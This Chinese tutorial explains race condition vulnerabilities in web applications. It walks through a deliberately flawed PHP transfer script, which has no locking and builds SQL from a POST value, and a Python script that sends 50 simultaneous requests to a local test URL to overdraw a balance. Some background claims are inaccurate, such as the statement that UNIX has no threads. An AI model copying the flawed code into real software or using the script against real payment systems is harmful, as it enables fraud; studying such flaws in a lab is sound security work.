Web中的条件竞争漏洞学习
合上吧，没有新姿势。

进程和线程

在Windows操作系统中，一个程序只对应一个进程，里面可以有一个或多个线程。

线程是操作系统能够进行运算调度的最小单位。，比如一个word2013是一个进程，里面的保存就是一个线程，打印功能又是另外一个线程，等等。

再举一个例子，这里的Google Chrome就是一个进程，并且开了的43个就是子线程，加上一个主线程，对于进程Google Chrome来说，一共有44个线程，通俗讲即浏览器中开了44个标签页

在UINX操作系统中，则没有线程概念，一个进程中（父进程）可以有多个子进程（多级嵌套）

如果你还是有点不明白的话请阅读这篇文章，进程与线程的一个简单解释

漏洞成因

讲解了进程和线程的概念之后，我们来讲解条件竞争漏洞的成因

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段，也被称之为临界区（critical section）,如果没有应用好同步技术则会发生“竞争条件”问题。我理解的就是一个独木桥，两个（可以更多）跑的一样快的人一起通过，无法预测谁通过了独木桥，这里就存在竞争。

案例分析

现在我们模拟一个my用户转账给Jack用户的操作，my用户的余额是1，Jack用户的余额是999，转账的条件是my只能转1块钱给Jack。

前端水平很渣很渣，各位大佬轻喷。。。

后端代码如下

<?php
//连接数据库的函数
function conn(){
	$dns = "mysql:host=localhost;dbname=test";
	//连接数据库
	$db = new PDO($dns, "root", "root");
	return $db;
}

$db = conn();
//查询my的money
$sql = 'select money from te_money where id = "my";';
$money_my = $db->query($sql);
foreach($money_my as $row1)
//查询Jack的money
$sql = 'select money from te_money where id = "Jack";';
$money_jack = $db->query($sql);
foreach($money_jack as $row2)
$add_money = @$_POST['add_money'];
if($add_money < 0){
	echo "<script type='text/javascript'>alert('转账金额必须大于0')</script>";
	Header("refresh:0.1;url='./test.php'");
	exit();
}
$over_my = $row1['money'] - $add_money;
//判断转账的钱扣除后my的余额是否为负数
if($over_my < 0){
	echo "<script type='text/javascript'>alert('余额不足')</script>";
	Header("refresh:0.1;url='./test.php'");
	exit();
}
//更新my的余额
$sql = 'update te_money set money='.$over_my.' where id="my";';
$db->exec($sql);
//更新Jack的余额
$over_jack = $row2['money']+$add_money;
$sql1 = 'update te_money set money='.$over_jack.' where id="Jack";';
$db->exec($sql1);

//转账完成之后要查询对应的余额
//查询my的money
$sql = 'select money from te_money where id = "my";';
$money_my = $db->query($sql);
foreach($money_my as $row1)
//查询Jack的money
$sql = 'select money from te_money where id = "Jack";';
$money_jack = $db->query($sql);
foreach($money_jack as $row2)
?>

# -*- coding: utf-8 -*-
import threading
import requests
url = 'http://127.0.0.2:82/vulnerability/race_condition/test.php'

def money():
    data = {
        'add_money':1
    }
    r = requests.post(url=url,data=data)
def multithreading():
    threads = []
    for t in range(50):
        t = threading.Thread(target=money)
        t.start()
        threads.append(t)
    for thread in threads:
        thread.join()
if __name__ == '__main__':
    multithreading()